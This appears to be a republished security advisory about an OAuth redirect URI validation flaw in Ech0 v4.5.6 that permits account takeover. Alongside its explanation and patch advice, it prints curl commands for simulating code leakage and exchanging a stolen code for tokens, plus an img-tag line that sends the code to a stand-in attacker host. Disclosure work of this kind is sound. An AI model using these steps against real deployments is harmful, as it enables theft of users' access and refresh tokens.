Listen to this Post
The vulnerability lies in how Ech0 validates OAuth client‑redirect URIs. The function `parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` compares only the scheme and host of the supplied redirect URI against an admin‑configured allowlist. It completely ignores the path, query, and fragment. This means an allowlist entry like https://myecho.example.com/dashboard` will match any URI with the same scheme and host, regardless of the path (e.g.,https://myecho.example.com/attacker/path`).
At login time, the handler at `/oauth/:provider/login` takes the `redirect_uri` query parameter verbatim, without any validation, and embeds it into a signed state JWT. The state JWT is then passed through the OAuth provider and returned on the callback.
During the callback, `parseAndValidateClientRedirect` is invoked again, but because the check only looks at scheme+host, the attacker‑chosen path passes. The server then issues a 302 redirect to that attacker‑chosen path, appending the one‑time exchange code in the query string:
Location: https://myecho.example.com/attacker-path?code=<exchange_code>.
The exchange code is valid for 60 seconds at the public endpoint POST /api/auth/exchange. If the attacker can acquire that code (via Referer header leakage, analytics scripts, or an open redirect on the allowlisted host), they can trade it for the victim’s access and refresh tokens, leading to full account takeover. RFC 6749 §3.1.2 mandates exact redirect URI matching, which Ech0 fails to implement.
dailycve form:
Platform: Ech0
Version: v4.5.6
Vulnerability: OAuth redirect bypass
Severity: Critical
Date: 2026-05-08
Prediction: Two weeks
What Undercode Say:
Analytics – bash commands to simulate leakage and token exchange:
Simulate Referer leakage from attacker‑chosen path
curl -X GET "https://myecho.example.com/attacker-path?code=LEAKED_CODE" \
-H "Referer: https://attacker.site/log?code=LEAKED_CODE"
Exchange leaked code for tokens
curl -X POST "https://ech0.local/api/auth/exchange" \
-H "Content-Type: application/json" \
-d '{"code":"LEAKED_CODE","redirect_uri":"https://myecho.example.com/attacker-path"}'
Monitor OAuth login attempts with crafted redirect_uri
while true; do
curl -s "http://localhost:8300/oauth/github/login?redirect_uri=https://myecho.example.com/evil" -I | grep -i location
sleep 2
done
Exploit:
Attacker crafts a login link: https://ech0.local/oauth/github/login?redirect_uri=https://myecho.example.com/malicious`. Victim clicks, completes OAuth, and lands onhttps://myecho.example.com/malicious?code=xyz`. If that page loads an <img src="https://attacker.site/steal?code=xyz">, the code is exfiltrated. Attacker calls `POST /api/auth/exchange` with the code and receives victim’s tokens.
Protection from this CVE
- Apply patch that enforces exact redirect URI matching (scheme, host, and path) as shown in the recommended fix.
- Validate `redirect_uri` at login time – reject any URI that does not exactly match an allowlist entry before encoding into the state JWT.
- In the admin panel, require administrators to register full callback URLs (including path).
- For existing deployments, temporarily disable OAuth or manually audit all registered redirect URIs to ensure they contain no wildcard paths.
Impact:
Full account takeover of any user who clicks a crafted link, provided OAuth is enabled and at least one allowlisted host has any page that leaks URL parameters (e.g., via Referer headers, third‑party analytics, or open redirects). The attack requires no special privileges, is remotely exploitable, and leads to compromise of access and refresh tokens.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
